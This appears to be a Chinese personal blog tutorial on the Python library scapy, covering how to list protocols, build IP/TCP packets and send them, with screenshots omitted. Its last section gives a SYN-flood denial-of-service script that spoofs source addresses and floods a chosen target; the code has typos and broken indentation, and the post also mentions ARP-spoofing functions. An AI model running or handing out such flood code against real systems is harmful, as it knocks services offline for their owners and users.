scapy

简介

这个包适用于网络嗅探的非常强大的第三方库,可以用于packet嗅探和伪造packet。在scapy的内部就已经实现了很多的网络协议。比如DNS、ARP、IP、TCP、UDP等等

我们可以用它操作报文, 可以伪造或者解析多种协议的报文。还具有转发、捕获、匹配请求和响应的功能。

可以替代hping[^hping]、arpspoof[^arpspoof]、arping[^arping]、p0f[^p0f]。可以替代部分的nmap,tcpdump,tshark的功能

scapy

  1. 查看支持的网络协议

    可以使用ls()查看支持什么协议

  2. 其他比较常见的函数

    还可以用lsc()函数来查看scapy的指令集(函数)。比较常用的函数包括arpcachepoison(用于arp毒化攻击,也叫arp欺骗攻击),arping(用于构造一个ARP的who-has包) ,send(用于发3层报文),sendp(用于发2层报文), sniff(用于网络嗅探,类似Wireshark和tcpdump), sr(发送+接收3层报文),srp(发送+接收2层报文)等等

  3. 还可以对ls()函数添加参数,比如IP,就可以查看IP包的各种默认的参数

  4. 构造一个包

    1
    name=IP(src=,dst=)/TCP()
  5. 这个包的详细资料

    假设现在使用dst=’baidu.com’

    image-20231213112750257

    展示:

    image-20231213112941954

  6. 发送包

    有多种发送的方式

    • send()

      发送一个三层的数据包,但是不接受

    • sr1()

      发送一个三层的包,但是接受返回的包

    • srp()

      发送一个两层的包

    • sr2()

      接受两个

    现在由于需要接受返回的信息

    我们就需要接受返回的包

    image-20231213113358374

  7. 返回来的包也可以查看信息,和创建的包是一样的

python 中使用scapy

以一个拒绝服务式攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# from scapy.all import IP, TCP
import scapy.all as scapy
from sympy import DotProduct
import random

target=input("input target(ip):")
dPort=80

def synFlood(target,dPort):
srcList=['11.1.1.2','22.1.1.2','33.1.1.2','44.1.1.2']
for sPort in range(1024,65535):
index=random.randrange(4)
ipLayer=scapy.IP(src=srcList[index],des=target)
tcpLayer=scapy.TCP(sport=sPort,dport=dPort,flags="S") # 这里S是SYN
packet=ipLayer/tcpLayer
scapy.send(packet) # 这里不需要接受就是为了造成拒绝服务

synFlood(target,dPort)

实现基于TCP端口扫描的工具

[^hping]:hping 命令行的TCP/IP数据包解释器/分析器,具体可以这篇文章 https://blog.csdn.net/carefree2005/article/details/120870526
[^arpspoof]:这个是用于arp欺骗用的,可以参考这篇文章https://blog.csdn.net/who_im_i/article/details/120234324
[^arping]: mac和ip 的互查,https://blog.csdn.net/wz_cow/article/details/80870876
[^p0f]: 简单理解为被动指纹识别的工具https://blog.csdn.net/qq_38776582/article/details/124001543


scapy
https://tsy244.github.io/2023/12/12/python/scapy/
Author
August Rosenberg
Posted on
December 12, 2023
Licensed under